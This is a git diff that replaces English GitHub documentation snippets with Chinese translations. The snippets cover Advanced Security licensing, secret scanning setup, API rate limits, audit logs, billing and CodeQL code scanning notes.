+ms.locfileid: "145084818" +--- +我们在 {% data variables.product.product_location %} 上记录并显示 {% data variables.product.prodname_GH_advanced_security %} 的两名提交者: -- **Committers** is the number of committers who contributed to at least one {% ifversion fpt or ghec %}private {% endif %}repository in an organization and who use a seat in your enterprise license. That is, they are also an organization member, an external collaborator, or have a pending invitation to join an organization in your enterprise. -- **Unique to this repository/organization** is the number of committers who contributed only to this repository, or to repositories in this organization. This number shows how many license seats you can free up by disabling {% data variables.product.prodname_GH_advanced_security %} for that repository or organization. +- “提交者数”是指在组织中参与至少一个 {% ifversion fpt or ghec %} 专用{% endif %}存储库,并在你的企业许可中使用一个席位的提交者数量。 也就是说,他们也是组织成员、外部协作者,或者具有待处理的企业帐户中组织加入邀请。 +- “是此存储库/组织唯一”是指仅向此存储库或此组织中的存储库作出贡献的提交者数量。 此数字显示您可以通过禁用该仓库或组织的 {% data variables.product.prodname_GH_advanced_security %} 来释放多少许可证席位。 -If there are no unique committers, all active committers also contribute to other repositories or organizations that use {% data variables.product.prodname_GH_advanced_security %}. Disabling the feature for that repository or organization would not free any seats on your license. +如果没有唯一的提交者,则意味着所有活跃的提交者也参与其他使用 {% data variables.product.prodname_GH_advanced_security %} 的仓库或组织。 禁用该仓库或组织的功能将不会在您的许可证上腾出任何席位。 -When you remove a user from your enterprise account, the user's license is freed within 24 hours. +从企业帐户中删除用户后,用户的许可证在 24 小时内被释放。 {% note %} -**Note:** Users can contribute to multiple repositories or organizations. Usage is measured across the whole enterprise account to ensure that each member uses one seat regardless of how many repositories or organizations the user contributes to. +注意:用户可以参与多个存储库或组织。 使用数是在整个企业帐户中计量的,确保每个成员使用一个席位,无论该用户参与多少个仓库或组织。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/advanced-security/about-ghas-organization-policy.md b/translations/zh-CN/data/reusables/advanced-security/about-ghas-organization-policy.md index 37ab6f5e8c..58b52727ad 100644 --- a/translations/zh-CN/data/reusables/advanced-security/about-ghas-organization-policy.md +++ b/translations/zh-CN/data/reusables/advanced-security/about-ghas-organization-policy.md @@ -1,5 +1,13 @@ -{% ifversion fpt or ghec or ghes %}{% data variables.product.company_short %} bills for {% data variables.product.prodname_advanced_security %} on a per-committer basis. For more information, see "[Managing licensing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security)."{% elsif ghes %}For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} for your Enterprise](/admin/advanced-security)."{% endif %} +--- +ms.openlocfilehash: a9edfbc5b5f3c0f50ae1e476d393e658751a5079 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145098396" +--- +{% data variables.product.company_short %} 按提交者对 {% data variables.product.prodname_advanced_security %} 计费。 {% ifversion fpt or ghec %}有关详细信息,请参阅“[管理 {% data variables.product.prodname_GH_advanced_security %} 的许可](/billing/managing-licensing-for-github-advanced-security)”。{% elsif ghes %}有关详细信息,请参阅“[管理企业的 {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security)”。{% endif %} -You can enforce a policy that controls whether repository administrators are allowed to enable features for {% data variables.product.prodname_advanced_security %} in an organization's repositories. You can configure a policy for all organizations owned by your enterprise account, or for individual organizations that you choose. +您可以执行策略来控制仓库管理员是否被允许在组织的仓库中为 {% data variables.product.prodname_advanced_security %} 启用功能。 您可以为企业帐户拥有的所有组织或您选择的单个组织配置策略。 -Disallowing {% data variables.product.prodname_advanced_security %} for an organization prevents repository administrators from enabling {% data variables.product.prodname_advanced_security %} features for additional repositories, but does not disable the features for repositories where the features are already enabled. For more information about configuration of {% data variables.product.prodname_advanced_security %} features, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +对组织禁止 {% data variables.product.prodname_advanced_security %} 将使仓库管理员无法为其他仓库启用 {% data variables.product.prodname_advanced_security %} 功能,但不会对已启用功能的仓库禁用功能。 有关配置 {% data variables.product.prodname_advanced_security %} 功能的详细信息,请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”或“[管理存储库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”。 diff --git a/translations/zh-CN/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md b/translations/zh-CN/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md index 9907231449..0350bdc3c6 100644 --- a/translations/zh-CN/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md +++ b/translations/zh-CN/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md @@ -1,9 +1,13 @@ -1. Enter the details for your new custom pattern: - 1. You must at least provide the name for your pattern, and a regular expression for the format of your secret pattern. - 1. You can click **More options {% octicon "chevron-down" aria-label="down" %}** to provide other surrounding content or additional match requirements for the secret format. - 1. Provide a sample test string to make sure your configuration is matching the patterns you expect. - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} - ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/help/repository/secret-scanning-create-custom-pattern.png) - {% else %} - ![Create a custom {% data variables.product.prodname_secret_scanning %} pattern form](/assets/images/enterprise/3.2/repository/secret-scanning-create-custom-pattern.png) - {% endif %} +--- +ms.openlocfilehash: 53ead6c394e757a67d36fde9c73c74eec7e963bc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145084810" +--- +1. 输入新自定义模式的详细信息: + 1. 您至少必须提供模式的名称,以及秘密模式格式的正则表达式。 + 1. 可以单击“更多选项{% octicon "chevron-down" aria-label="down" %}”来提供密钥格式的其他周围内容或额外匹配要求。 + 1. 提供一个示例测试字符串,用于确保配置与预期模式匹配。 + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5499 %} ![创建自定义 {% data variables.product.prodname_secret_scanning %} 模式窗体](/assets/images/help/repository/secret-scanning-create-custom-pattern.png) {% else %} ![创建自定义 {% data variables.product.prodname_secret_scanning %} 模式窗体](/assets/images/enterprise/3.2/repository/secret-scanning-create-custom-pattern.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/advanced-security/secret-scanning-push-protection-org.md b/translations/zh-CN/data/reusables/advanced-security/secret-scanning-push-protection-org.md index 5efcabdade..649caa54b2 100644 --- a/translations/zh-CN/data/reusables/advanced-security/secret-scanning-push-protection-org.md +++ b/translations/zh-CN/data/reusables/advanced-security/secret-scanning-push-protection-org.md @@ -1,6 +1,11 @@ -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Push protection", click **Enable all**. - {% ifversion ghec %}![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for an organization](/assets/images/help/organizations/secret-scanning-enable-push-protection-org.png){% elsif ghes > 3.4 or ghae > 3.4 %} ![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for an organization](/assets/images/help/organizations/secret-scanning-enable-push-protection-org-ghes.png){% endif %} -1. Optionally, click "Automatically enable for repositories added to {% data variables.product.prodname_secret_scanning %}."{% ifversion push-protection-custom-link-orgs %} -1. Optionally, to include a custom link in the message that members will see when they attempt to push a secret, select **Add a resource link in the CLI and web UI when a commit is blocked**, then type a URL, and click **Save link**. - - ![Screenshot showing checkbox and text field for enabling a custom link](/assets/images/help/organizations/secret-scanning-custom-link.png){% endif %} +--- +ms.openlocfilehash: 0d7a80e83eb706b8590383920dd2b1771fdc9254 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147060200" +--- +1. 在“{% data variables.product.prodname_secret_scanning_caps %}”下的“推送保护”下,单击“全部启用”。 + ![屏幕截图演示如何为组织的 {% data variables.product.prodname_secret_scanning %} 启用推送保护](/assets/images/help/organizations/secret-scanning-enable-push-protection.png) +1. (可选)单击“自动启用添加到 {% data variables.product.prodname_secret_scanning %} 的专用存储库”。 diff --git a/translations/zh-CN/data/reusables/apps/metadata-permissions.md b/translations/zh-CN/data/reusables/apps/metadata-permissions.md new file mode 100644 index 0000000000..a4409699d8 --- /dev/null +++ b/translations/zh-CN/data/reusables/apps/metadata-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5cbe77b1e8580e79c7e77b99de3e1973191d2075 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876107" +--- +如果将元数据权限设置为 `No access`,并选择需要访问存储库的权限,GitHub 将覆盖你的选择并将元数据权限设回 `Read-only`。 若要将元数据权限设置为 `No access`,必须先将需要访问存储库的所有权限设置为 `No access`。 diff --git a/translations/zh-CN/data/reusables/apps/user-to-server-rate-limits.md b/translations/zh-CN/data/reusables/apps/user-to-server-rate-limits.md index f56f5c3e0c..a5261ef4de 100644 --- a/translations/zh-CN/data/reusables/apps/user-to-server-rate-limits.md +++ b/translations/zh-CN/data/reusables/apps/user-to-server-rate-limits.md @@ -1 +1,9 @@ -{% ifversion ghes %}By default, user-to-server{% else %}User-to-server{% endif %} requests are limited to {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} requests per hour and per authenticated user. All requests from OAuth applications authorized by a user or a {% data variables.product.pat_generic %} owned by the user, and requests authenticated with any of the user's authentication credentials, share the same quota of {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} requests per hour for that user. +--- +ms.openlocfilehash: 3bc47303cbc18b4d40a76fd12e6f692990f66c54 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145098339" +--- +{% ifversion ghes %}默认情况下,用户到服务器{% else %}用户到服务器{% endif %}请求的速率限制为每个经验证的用户每小时最多发送 {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} 个请求。 来自用户授权的 OAuth 应用程序或用户拥有的个人访问令牌的所有请求,以及以及使用任何用户的身份验证凭据进行身份验证的请求,都共享该用户每小时 {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} 个请求的配额。 diff --git a/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md b/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md index c59c70a94f..093ff55193 100644 --- a/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md +++ b/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Archives" section of the sidebar, click {% octicon "log" aria-label="The log icon" %} **Logs**, then click **Audit log**. +--- +ms.openlocfilehash: 795c057917eb79a5dbdd51995cdd57bf61d9c2c3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098318" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“存档”部分中,单击“{% octicon "log" aria-label="The log icon" %} 日志”,然后单击“审核日志”。 {% else %} -1. In the Settings sidebar, click **Audit log**. -![Org audit log settings in sidebar](/assets/images/help/organizations/org-settings-audit-log.png) -{% endif %} +1. 在“设置”边栏中,单击“审核日志”。 +![边栏中的组织审核日志设置](/assets/images/help/organizations/org-settings-audit-log.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md b/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md index f2d2336ba7..17aee6e902 100644 --- a/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md +++ b/translations/zh-CN/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -3. In the "Archives" section of the sidebar, click **{% octicon "log" aria-label="The log icon" %} Security log**. +--- +ms.openlocfilehash: 7d0d9dfaabb79a4b677959f1102e317ed1732d20 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098316" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +3. 在边栏的“存档”部分中,单击“{% octicon "log" aria-label="The log icon" %} 安全日志”。 {% else %} -3. In the left sidebar, click **Audit log**. -![Audit log tab](/assets/images/enterprise/site-admin-settings/audit-log-tab.png) -{% endif %} +3. 在左侧边栏中,单击“审核日志”。 +![“审核日志”选项卡](/assets/images/enterprise/site-admin-settings/audit-log-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/billing/about-invoices-for-enterprises.md b/translations/zh-CN/data/reusables/billing/about-invoices-for-enterprises.md new file mode 100644 index 0000000000..514cafa90b --- /dev/null +++ b/translations/zh-CN/data/reusables/billing/about-invoices-for-enterprises.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8c2775664936aced829bd5b09eeff0ae46204e10 +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876041" +--- +对于已开票的 {% data variables.product.prodname_enterprise %} 客户,{% data variables.product.company_short %} 通过 {% data variables.product.prodname_dotcom_the_website %} 上的企业帐户计费。 每张发票都包含所有已付费的 {% data variables.product.prodname_dotcom_the_website %} 服务和任何 {% data variables.product.prodname_ghe_server %} 实例的单笔帐单费用。 diff --git a/translations/zh-CN/data/reusables/billing/per-user-pricing-reference.md b/translations/zh-CN/data/reusables/billing/per-user-pricing-reference.md new file mode 100644 index 0000000000..9b8e326869 --- /dev/null +++ b/translations/zh-CN/data/reusables/billing/per-user-pricing-reference.md @@ -0,0 +1,34 @@ +--- +ms.openlocfilehash: c8432b756590deab759f023a78453a482b8091fd +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098294" +--- +使用每用户定价时,每个人都使用一个许可证。 {% data variables.product.company_short %} 按主电子邮件地址标识个人。 + +{% data variables.product.company_short %} 针对以下人员计费。 + +{%- ifversion ghec %} +- 是企业中至少一个组织的成员或所有者的企业所有者 {%- endif %} +- 组织成员(包括所有者) +- 组织拥有的专用{% ifversion ghec %}或内部{% endif %}存储库的外部协作者(不包括分支上的) +- 拥有待定邀请可成为组织所有者或成员的任何人员 +- 拥有待定邀请可成为组织拥有的专用{% ifversion ghec %}或内部{% endif %}存储库的外部协作者(不包括分支上的 {%- ifversion ghec %})的任何人员 +- 部署的 {% endif %} 任何 {% data variables.product.prodname_ghe_server %} 实例上的每个用户 + +{% data variables.product.company_short %} 不会针对以下任何人员计费。 + +{%- ifversion ghec %} +- 不是企业中至少一个组织的成员或所有者的企业所有者 +- 企业账单管理员 {%- endif %} +- {% data variables.product.prodname_ghe_cloud %}{% endif %} 上单个组织的组织账单管理员{% ifversion ghec %} +- 拥有待定邀请可成为{% ifversion ghec %}企业或{% endif %}组织账单管理员的任何人员 +- 拥有待定邀请可成为组织拥有的公共存储库上的外部协作者的任何人员 + +{% note %} + +注意:{% data reusables.organizations.org-invite-scim %} + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/branches/new-repo-default-branch.md b/translations/zh-CN/data/reusables/branches/new-repo-default-branch.md index 17f774ac0d..0b75c9b69a 100644 --- a/translations/zh-CN/data/reusables/branches/new-repo-default-branch.md +++ b/translations/zh-CN/data/reusables/branches/new-repo-default-branch.md @@ -1,2 +1,10 @@ -When you create a repository with content on {% data variables.location.product_location %}, {% data variables.product.product_name %} creates the repository with a single branch. This first branch in the repository is the default branch. +--- +ms.openlocfilehash: 9cc8fc34ada2e8d2831de2f62005f139ebcc7cfe +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098859" +--- +在 {% data variables.product.product_location %}和 {% data variables.product.product_name %} 上创建一个有内容的仓库时,将创建包含单一分支的仓库。 仓库中的第一个分支是默认分支。 diff --git a/translations/zh-CN/data/reusables/classroom/about-autograding.md b/translations/zh-CN/data/reusables/classroom/about-autograding.md index 29cde59f64..8c8b6fd8d4 100644 --- a/translations/zh-CN/data/reusables/classroom/about-autograding.md +++ b/translations/zh-CN/data/reusables/classroom/about-autograding.md @@ -1 +1,9 @@ -You can use autograding to automatically check a student's work for an assignment on {% data variables.product.prodname_classroom %}. You configure tests for an assignment, and the tests run immediately every time a student pushes to an assignment repository on {% data variables.location.product_location %}. The student can view the test results, make changes, and push to see new results. +--- +ms.openlocfilehash: 861671360dc3718c5d796e9d07924952e221cbb7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145098288" +--- +您可以使用自动评分来自动检查学生在 {% data variables.product.prodname_classroom %} 上的工作。 您可以为作业配置测试,每次学生推送到 {% data variables.product.product_location %} 上的作业库时,测试就会立即运行。 学生可以查看测试结果,进行更改,并推送以查看新结果。 diff --git a/translations/zh-CN/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md b/translations/zh-CN/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md index 9a06bcca8f..960f7add38 100644 --- a/translations/zh-CN/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md +++ b/translations/zh-CN/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md @@ -1 +1,9 @@ -You can run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %} using {% data variables.product.prodname_actions %}. Alternatively, if you use a third-party continuous integration or continuous delivery/deployment (CI/CD) system, you can run {% data variables.product.prodname_codeql %} analysis in your existing system and upload the results to {% data variables.location.product_location %}. +--- +ms.openlocfilehash: 4a60a2f573a8aebe309f1db397e38cd41ef8eeac +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145098221" +--- +您可以使用 {% data variables.product.prodname_actions %} 在 {% data variables.product.product_name %} 内运行 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 。 或者,如果您使用第三方持续集成或持续交付/部署 (CI/CD) 系统,您可以在现有系统中运行 {% data variables.product.prodname_codeql %} 分析并将结果上传到 {% data variables.product.product_location %}。 diff --git a/translations/zh-CN/data/reusables/code-scanning/codeql-languages-bullets.md b/translations/zh-CN/data/reusables/code-scanning/codeql-languages-bullets.md index 6a565f20da..ca8603875d 100644 --- a/translations/zh-CN/data/reusables/code-scanning/codeql-languages-bullets.md +++ b/translations/zh-CN/data/reusables/code-scanning/codeql-languages-bullets.md @@ -1,3 +1,11 @@ +--- +ms.openlocfilehash: 7d7a7cfa05c2c0d5e3ac89b603d1efb0ba51fc84 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192711" +--- - C/C++ - C# @@ -9,19 +17,17 @@ {% note %} -{% ifversion fpt or ghec or ghae or ghes > 3.3 %} -**Notes**: +{% ifversion fpt or ghec or ghae or ghes > 3.3 %} 注意: {% ifversion ghes < 3.8 or ghae < 3.8 %} -- {% data variables.product.prodname_codeql %} analysis for Ruby is currently in beta. During the beta, analysis of Ruby will be less comprehensive than {% data variables.product.prodname_codeql %} analysis of other languages.{% endif %}{% ifversion codeql-kotlin-beta %} -- {% data variables.product.prodname_codeql %} analysis for Kotlin is currently in beta. During the beta, analysis of Kotlin will be less comprehensive than {% data variables.product.prodname_codeql %} analysis of other languages. -- Use `java` to analyze code written in Java, Kotlin or both.{% endif %} -- Use `javascript` to analyze code written in JavaScript, TypeScript or both. +- 用于 Ruby 的 {% data variables.product.prodname_codeql %} 分析目前为 beta 版。 在 beta 版中,Ruby 的分析将不如其他语言的 {% data variables.product.prodname_codeql %} 分析全面。{% endif %}{% ifversion codeql-kotlin-beta %} +- 用于 Kotlin 的 {% data variables.product.prodname_codeql %} 分析目前为 beta 版。 在 beta 版中,Kotlin 的分析将不如其他语言的 {% data variables.product.prodname_codeql %} 分析全面。 +- 使用 `java` 分析用 Java、Kotlin 或两者编写的代码。{% endif %} +- 使用 `javascript` 分析用 JavaScript、TypeScript 或两者编写的代码。 -{% else %} -**Note**: Use `javascript` to analyze code written in JavaScript, TypeScript or both. +{% else %} 注意:使用 `javascript` 分析用 JavaScript、TypeScript 或两者编写的代码。 {% endif %} {% endnote %} -For more information, see the documentation on the {% data variables.product.prodname_codeql %} website: "[Supported languages and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)." +有关详细信息,请参阅 {% data variables.product.prodname_codeql %} 网站上的文档:“[支持的语言和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)”。 diff --git a/translations/zh-CN/data/reusables/code-scanning/codeql-languages-keywords.md b/translations/zh-CN/data/reusables/code-scanning/codeql-languages-keywords.md index 78a94f8656..8673bc9416 100644 --- a/translations/zh-CN/data/reusables/code-scanning/codeql-languages-keywords.md +++ b/translations/zh-CN/data/reusables/code-scanning/codeql-languages-keywords.md @@ -1 +1,9 @@ -`cpp`, `csharp`, `go`, `java`, `javascript`,{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %} `python`, and `ruby`{% else %} and `python`{% endif %} +--- +ms.openlocfilehash: b51134e4bf7c511cd72b9366e3c3f8bf397d64d1 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145098220" +--- +`cpp`、`csharp`、`go`、`java`、`javascript`、{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %}`python` 和 `ruby`{% else %}和 `python`{% endif %} diff --git a/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md b/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md index df8cfa6027..f625baf952 100644 --- a/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md +++ b/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md @@ -1,8 +1,16 @@ +--- +ms.openlocfilehash: e28e49974140b810496d7ca2af2d8ac07d30b754 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098212" +--- {% ifversion ghes %} {% note %} -**Note:** Your site administrator must enable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %} before you can use this feature. If you want to use {% data variables.product.prodname_actions %} to scan your code, the site administrator must also enable {% data variables.product.prodname_actions %} and set up the infrastructure required. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)." +**注意:** 网站管理员必须为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_code_scanning %},然后你才能使用此功能。 如果要使用 {% data variables.product.prodname_actions %} 扫描代码,站点管理员还必须启用 {% data variables.product.prodname_actions %} 并设置所需的基础结构。 有关详细信息,请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)”。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning.md b/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning.md index 700cd26b27..2da4299653 100644 --- a/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning.md +++ b/translations/zh-CN/data/reusables/code-scanning/enterprise-enable-code-scanning.md @@ -1,10 +1,16 @@ +--- +ms.openlocfilehash: cd30225961136524faf23bf1fc353c0c400cdc2b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145098775" +--- {% ifversion ghes %} {% note %} -**Note:** Your site administrator must enable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)." - -{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_code_scanning %} if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %} +注意:站点管理员必须为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_code_scanning %},你才能使用这些功能。 有关详细信息,请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)”。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/code-scanning/licensing-note.md b/translations/zh-CN/data/reusables/code-scanning/licensing-note.md index ede099e6be..f327f1ce22 100644 --- a/translations/zh-CN/data/reusables/code-scanning/licensing-note.md +++ b/translations/zh-CN/data/reusables/code-scanning/licensing-note.md @@ -1,12 +1,14 @@ +--- +ms.openlocfilehash: a9ad213da23c28194af6cf5ff3a53e425e9a5615 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145098201" +--- {% note %} -**Notes:** {% ifversion fpt %} -- The {% data variables.product.prodname_codeql_cli %} is free to use on public repositories. The {% data variables.product.prodname_codeql_cli %} is also available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." -{%- elsif ghec %} -- The {% data variables.product.prodname_codeql_cli %} is free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." -{%- elsif ghes or ghae %} -- The {% data variables.product.prodname_codeql_cli %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. -{% endif %} -- {% data reusables.code-scanning.non-glibc-linux-support %} - -{% endnote %} +注意: {% ifversion fpt %} {% data variables.product.prodname_codeql_cli %} 免费用于公共存储库。 {% data variables.product.prodname_codeql_cli %} 也可在使用 {% data variables.product.prodname_ghe_cloud %} 并拥有 {% data variables.product.prodname_GH_advanced_security %} 许可证的组织所拥有的专用存储库中使用。 有关信息,请参阅“[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} 条款和条件](https://securitylab.github.com/tools/codeql/license)”以及“[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)”。 +{%- elsif ghec %} {% data variables.product.prodname_codeql_cli %} 可免费用于 {% data variables.product.prodname_dotcom_the_website %} 上维护的公共存储库,也可用于具有 {% data variables.product.prodname_advanced_security %} 许可证的客户所拥有的专用存储库。 有关信息,请参阅“[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} 条款和条件](https://securitylab.github.com/tools/codeql/license)”以及“[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)”。 +{%- elsif ghes or ghae %}{% data variables.product.prodname_codeql_cli %} 可用于拥有 {% data variables.product.prodname_advanced_security %} 许可证的客户。 +{% endif %} {% endnote %} diff --git a/translations/zh-CN/data/reusables/code-scanning/run-additional-queries.md b/translations/zh-CN/data/reusables/code-scanning/run-additional-queries.md index fddae57c62..5ebcdcdbd9 100644 --- a/translations/zh-CN/data/reusables/code-scanning/run-additional-queries.md +++ b/translations/zh-CN/data/reusables/code-scanning/run-additional-queries.md @@ -1,26 +1,24 @@ -When you use {% data variables.product.prodname_codeql %} to scan code, the {% data variables.product.prodname_codeql %} analysis engine generates a database from the code and runs queries on it. {% data variables.product.prodname_codeql %} analysis uses a default set of queries, but you can specify more queries to run, in addition to the default queries. +--- +ms.openlocfilehash: c6e1f73548abc1a1bae7c747d864cefce43c2c02 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146179359" +--- +使用 {% data variables.product.prodname_codeql %} 扫描代码时,{% data variables.product.prodname_codeql %} 分析引擎将从代码生成数据库并对其运行查询。 